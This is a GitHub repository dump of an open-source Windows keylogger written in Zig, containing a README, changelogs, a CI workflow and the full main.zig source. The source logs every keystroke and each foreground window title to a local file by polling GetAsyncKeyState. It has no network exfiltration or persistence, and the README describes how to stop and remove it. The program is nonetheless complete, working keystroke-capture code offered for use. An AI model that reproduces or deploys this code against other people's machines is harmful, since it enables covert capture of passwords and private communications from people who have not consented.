├── .gitignore ├── keylogger.code-workspace ├── CHANGELOG-v2.md ├── CHANGELOG-v1.md ├── .github └── workflows │ └── zig.yml ├── LICENSE ├── README.md └── src └── main.zig /.gitignore: -------------------------------------------------------------------------------- 1 | *.cpp 2 | *.log 3 | /zig-out/ 4 | /.zig-cache/ 5 | /tmp/ 6 | -------------------------------------------------------------------------------- /keylogger.code-workspace: -------------------------------------------------------------------------------- 1 | { 2 | "folders": [ 3 | { 4 | "path": "." 5 | } 6 | ], 7 | "settings": {} 8 | } -------------------------------------------------------------------------------- /CHANGELOG-v2.md: -------------------------------------------------------------------------------- 1 | # Release Notes for Keylogger v2.x 2 | 3 | ## v2.1.0 4 | 5 | - Use Zig 0.15.2. 6 | 7 | ## v2.0.0 8 | 9 | - Rewritten in Zig. 10 | -------------------------------------------------------------------------------- /CHANGELOG-v1.md: -------------------------------------------------------------------------------- 1 | # Release Notes for Keylogger v1.x 2 | 3 | ## v1.2.0 4 | 5 | - MIT License 6 | 7 | ## v1.1.0 8 | 9 | - All source files moved to `src` directory. 10 | - Functions to own files. 11 | - Common `Makefile`. 12 | -------------------------------------------------------------------------------- /.github/workflows/zig.yml: -------------------------------------------------------------------------------- 1 | name: Keylogger 2 | 3 | on: 4 | push: 5 | branches: [master] 6 | 7 | jobs: 8 | test: 9 | runs-on: windows-latest 10 | strategy: 11 | matrix: 12 | zig-version: 13 | - '0.15.0' 14 | - '0.15.1' 15 | - '0.15.2' 16 | 17 | steps: 18 | - name: Checkout repository 19 | uses: actions/checkout@v3 20 | 21 | - uses: mlugg/setup-zig@v2 22 | with: 23 | version: ${{ matrix.zig-version }} 24 | 25 | - name: Check Zig version 26 | run: zig version 27 | 28 | - name: Build 29 | run: zig build --release -Dci=true 30 | 31 | - name: Check help 32 | run: ./zig-out/bin/keylogger.exe --help 33 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2009, 2025 Christian Mayer 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Keylogger 2 | 3 | Keylogger for Windows. 4 | 5 | ## Project Outlines 6 | 7 | The project outlines as described in my blog post about [Open Source Software Collaboration](https://blog.fox21.at/2019/02/21/open-source-software-collaboration.html). 8 | 9 | - The one and only purpose of this software is to log keystrokes under Windows operating system. 10 | - Since this keylogger already has all its features please do not request new features. It's designed by the [Unix philosophy](https://en.wikipedia.org/wiki/Unix_philosophy): *Write programs that do one thing and do it well.* 11 | 12 | ## Download 13 | 14 | Download the latest pre-build exe files from the [Releases](https://github.com/TheFox/keylogger/releases) section. 15 | 16 | ## Compiling 17 | 18 | ### Requirements 19 | 20 | - OS: Windows 11 21 | - Visual Studio Community 2022 22 | - MSVC v143 x64/x86 build tools 23 | - Windows 11 SDK (10.0.22621.0) 24 | 25 | ### Build 26 | 27 | ```sh 28 | zig build --release 29 | ``` 30 | 31 | ### Build for x86 (i386/i686) 32 | 33 | ```sh 34 | zig build --release -Dtarget=x86-windows -Dcpu=i386 35 | zig build --release -Dtarget=x86-windows -Dcpu=i686 36 | ``` 37 | 38 | ## Tested under 39 | 40 | - Windows 11 41 | 42 | ## Installation 43 | 44 | Just start `keylogger.exe` from any directory. There is no such thing like an install or auto-start routine. This Keylogger acts according to the [Unix philosophy](https://en.wikipedia.org/wiki/Unix_philosophy): do one thing and do it well. 45 | 46 | ## Uninstall 47 | 48 | Open the Task Manager, search for `keylogger.exe` and kill this process. Then delete `keylogger.exe`. That's it. 49 | -------------------------------------------------------------------------------- /src/main.zig: -------------------------------------------------------------------------------- 1 | const VERSION = "2.1.0"; 2 | const std = @import("std"); 3 | const File = std.fs.File; 4 | const Writer = std.Io.Writer; 5 | const Allocator = std.mem.Allocator; 6 | const ArenaAllocator = std.heap.ArenaAllocator; 7 | const ArrayList = std.ArrayList; 8 | const sleep = std.Thread.sleep; 9 | const eql = std.mem.eql; 10 | const argsAlloc = std.process.argsAlloc; 11 | const argsWithAllocator = std.process.argsWithAllocator; 12 | const argsFree = std.process.argsFree; 13 | const print = std.debug.print; 14 | const f = std.fmt.bufPrint; 15 | const cTime = @cImport(@cInclude("time.h")); 16 | const cWindows = @cImport({ 17 | @cInclude("windows.h"); 18 | }); 19 | const parseInt = std.fmt.parseInt; 20 | 21 | const PrevType = enum { 22 | init, 23 | window, 24 | key, 25 | }; 26 | 27 | pub fn main() !void { 28 | var arena = ArenaAllocator.init(std.heap.page_allocator); 29 | defer arena.deinit(); 30 | const allocator = arena.allocator(); 31 | 32 | var stdout_buffer: [1024]u8 = undefined; 33 | var stdout_writer = File.stdout().writer(&stdout_buffer); 34 | const stdout = &stdout_writer.interface; 35 | 36 | const args = try argsAlloc(allocator); 37 | defer argsFree(allocator, args); 38 | 39 | var args_iter = try argsWithAllocator(allocator); 40 | defer args_iter.deinit(); 41 | _ = args_iter.next(); 42 | 43 | var arg_output_path = try ArrayList(u8).initCapacity(allocator, 1024); 44 | defer arg_output_path.deinit(allocator); 45 | 46 | var arg_verbose: u8 = 0; 47 | var arg_use_date = false; 48 | var arg_sleep: usize = 0; 49 | while (args_iter.next()) |arg| { 50 | if (eql(u8, arg, "-h") or eql(u8, arg, "--help")) { 51 | try printHeader(stdout); 52 | try printHelp(stdout); 53 | return; 54 | } else if (eql(u8, arg, "-v") or eql(u8, arg, "--verbose")) { 55 | arg_verbose = 1; 56 | } else if (eql(u8, arg, "-vv")) { 57 | arg_verbose = 2; 58 | } else if (eql(u8, arg, "-o") or eql(u8, arg, "--output")) { 59 | if (args_iter.next()) |next_arg| { 60 | arg_output_path.clearRetainingCapacity(); 61 | try arg_output_path.appendSlice(allocator, next_arg); 62 | } 63 | } else if (eql(u8, arg, "-d") or eql(u8, arg, "--date")) { 64 | arg_use_date = true; 65 | } else if (eql(u8, arg, "-s") or eql(u8, arg, "--sleep")) { 66 | if (args_iter.next()) |next_arg| { 67 | arg_sleep = try parseInt(usize, next_arg, 10); 68 | } 69 | } 70 | } 71 | 72 | if (arg_output_path.items.len == 0) { 73 | if (arg_use_date) { 74 | const now = std.time.timestamp(); 75 | const localtime = cTime.localtime(&now); 76 | 77 | var output_path_b: [1024]u8 = undefined; 78 | const output_path_l = cTime.strftime(&output_path_b, 255, "keylogger_%Y%m%d_%H%M%S.log", localtime); 79 | const output_path_s: []u8 = output_path_b[0..output_path_l]; 80 | try arg_output_path.appendSlice(allocator, output_path_s); 81 | } else { 82 | try arg_output_path.appendSlice(allocator, "keylogger.log"); 83 | } 84 | } 85 | if (arg_sleep <= 3) { 86 | arg_sleep = 10; 87 | } 88 | arg_sleep *= std.time.ns_per_ms; 89 | 90 | const file_exists = fileExists(allocator, arg_output_path.items); 91 | 92 | if (arg_verbose >= 1) { 93 | try printHeader(stdout); 94 | try stdout.print("output file exists: {any}\n", .{file_exists}); 95 | try stdout.print("output file path: {s}\n", .{arg_output_path.items}); 96 | try stdout.print("sleep: {d}\n", .{arg_sleep}); 97 | try stdout.flush(); 98 | } 99 | 100 | const dir = std.fs.cwd(); 101 | var file = try dir.createFile(arg_output_path.items, .{ 102 | .truncate = false, 103 | }); 104 | defer file.close(); // Actually never reached because of while(true). 105 | try file.seekFromEnd(0); // Append to end. 106 | 107 | const title_len: usize = 1024; 108 | const title_len_i: c_uint = @intCast(title_len - 1); 109 | const ctitle_b = try allocator.alloc(u8, title_len); 110 | const ptitle_b = try allocator.alloc(u8, title_len); 111 | 112 | const key_len: usize = 255; 113 | const key_name_b = try allocator.alloc(u8, key_len); 114 | 115 | for (0..title_len) |n| ctitle_b[n] = 0; 116 | for (0..title_len) |n| ptitle_b[n] = 0; 117 | for (0..key_len) |n| key_name_b[n] = 0; 118 | 119 | var prev_type: PrevType = .init; 120 | while (true) { 121 | sleep(arg_sleep); 122 | 123 | const hwnd: cWindows.HWND = cWindows.GetForegroundWindow(); 124 | const ctitle_len = cWindows.GetWindowTextA(hwnd, ctitle_b.ptr, title_len_i); 125 | const ctitle_len_u: usize = @intCast(ctitle_len); 126 | const ctitle_s: []u8 = ctitle_b[0..ctitle_len_u]; 127 | 128 | if (!eql(u8, ptitle_b, ctitle_b)) { 129 | if (arg_verbose >= 1) { 130 | print("window: ({d}) '{s}' \n", .{ ctitle_len_u, ctitle_s }); 131 | } 132 | switch (prev_type) { 133 | .init => { 134 | if (file_exists) { 135 | try file.writeAll("\n"); 136 | } 137 | }, 138 | .window => {}, 139 | .key => try file.writeAll("\n"), 140 | } 141 | try file.writeAll("window: '"); 142 | try file.writeAll(ctitle_s); 143 | try file.writeAll("'\n"); 144 | @memcpy(ptitle_b, ctitle_b); 145 | prev_type = .window; 146 | } 147 | 148 | var key_i: u8 = 1; 149 | while (key_i < 255) : (key_i += 1) { 150 | const key_state: cWindows.SHORT = cWindows.GetAsyncKeyState(key_i); 151 | if (key_state & 1 != 0) { 152 | const key_name_s = getKeyName(key_name_b, key_i); 153 | if (arg_verbose >= 1) { 154 | print("key: '{s}' ({d})\n", .{ key_name_s, key_i }); 155 | } 156 | try file.writeAll(key_name_s); 157 | prev_type = .key; 158 | } 159 | } 160 | } 161 | } 162 | 163 | fn printHeader(stdout: *Writer) !void { 164 | try stdout.print("Keylogger " ++ VERSION ++ "\n", .{}); 165 | try stdout.print("Copyright (C) 2009, 2025 Christian Mayer \n\n", .{}); 166 | try stdout.flush(); 167 | } 168 | 169 | fn printHelp(stdout: *Writer) !void { 170 | const help = 171 | \\Usage: keylogger.exe [] 172 | \\ 173 | \\Options: 174 | \\-h, --help Print this help. 175 | \\-v, --verbose Verbose output. 176 | \\-o, --output Output file path. Accepts datetime format. Default: keylogger.log 177 | \\-d, --date Will use date and time in the default output filename. Default: keylogger_%Y%m%d_%H%M%S.log 178 | \\-s, --sleep Time to sleep in milliseconds. Default: 10 179 | ; 180 | try stdout.print(help ++ "\n", .{}); 181 | try stdout.flush(); 182 | } 183 | 184 | fn fileExists(allocator: Allocator, path: []const u8) bool { 185 | const c_str = allocator.dupeZ(u8, path) catch unreachable; 186 | defer allocator.free(c_str); // Not really needed in the context of this program. 187 | const attrs = cWindows.GetFileAttributesA(c_str); 188 | return attrs != cWindows.INVALID_FILE_ATTRIBUTES; 189 | } 190 | 191 | fn getKeyName(kn: []u8, ki: u8) []u8 { 192 | const x = (switch (ki) { 193 | 1 => f(kn, "[LMOUSE]", .{}), 194 | 2 => f(kn, "[RMOUSE]", .{}), 195 | 4 => f(kn, "[MMOUSE]", .{}), 196 | 13 => f(kn, "[RETURN]", .{}), 197 | 8 => f(kn, "[BACKSPACE]", .{}), 198 | 9 => f(kn, "[TAB]", .{}), 199 | 27 => f(kn, "[ESC]", .{}), 200 | 32 => f(kn, "[SPACE]", .{}), 201 | 33 => f(kn, "[PAGE UP]", .{}), 202 | 34 => f(kn, "[PAGE DOWN]", .{}), 203 | 35 => f(kn, "[HOME]", .{}), 204 | 36 => f(kn, "[POS1]", .{}), 205 | 37 => f(kn, "[ARROW LEFT]", .{}), 206 | 38 => f(kn, "[ARROW UP]", .{}), 207 | 39 => f(kn, "[ARROW RIGHT]", .{}), 208 | 40 => f(kn, "[ARROW DOWN]", .{}), 209 | 44 => f(kn, "[PRINT]", .{}), 210 | 45 => f(kn, "[INS]", .{}), 211 | 46 => f(kn, "[DEL]", .{}), 212 | 65...90 => f(kn, "{c}", .{ki}), 213 | 91, 92 => f(kn, "[WIN]", .{}), 214 | 96...105 => f(kn, "[NUM {d}]", .{ki - 96}), 215 | 106 => f(kn, "[NUM *]", .{}), 216 | 107 => f(kn, "[NUM +]", .{}), 217 | 109 => f(kn, "[NUM -]", .{}), 218 | 110 => f(kn, "[NUM ,]", .{}), 219 | 111 => f(kn, "[NUM /]", .{}), 220 | 112...123 => f(kn, "[F{d}]", .{ki - 111}), 221 | 144 => f(kn, "[NUM]", .{}), 222 | 145 => f(kn, "[ROLL]", .{}), 223 | 160, 161 => f(kn, "[SHIFT]", .{}), 224 | 162, 163 => f(kn, "[STRG]", .{}), 225 | 164 => f(kn, "[ALT]", .{}), 226 | 165 => f(kn, "[ALT GR]", .{}), 227 | 186 => f(kn, "[UE]", .{}), // ü 228 | 187 => f(kn, "+", .{}), 229 | 188 => f(kn, ",", .{}), 230 | 189 => f(kn, "-", .{}), 231 | 190 => f(kn, ".", .{}), 232 | 191 => f(kn, "#", .{}), 233 | 192 => f(kn, "[OE]", .{}), // ö 234 | 219 => f(kn, "[SS]", .{}), // ß 235 | 222 => f(kn, "[AE]", .{}), // ä 236 | 226 => f(kn, "<", .{}), 237 | else => f(kn, "[KEY \\{d}]", .{ki}), 238 | }) catch @panic("bufPrint failed"); 239 | return x; 240 | } 241 | --------------------------------------------------------------------------------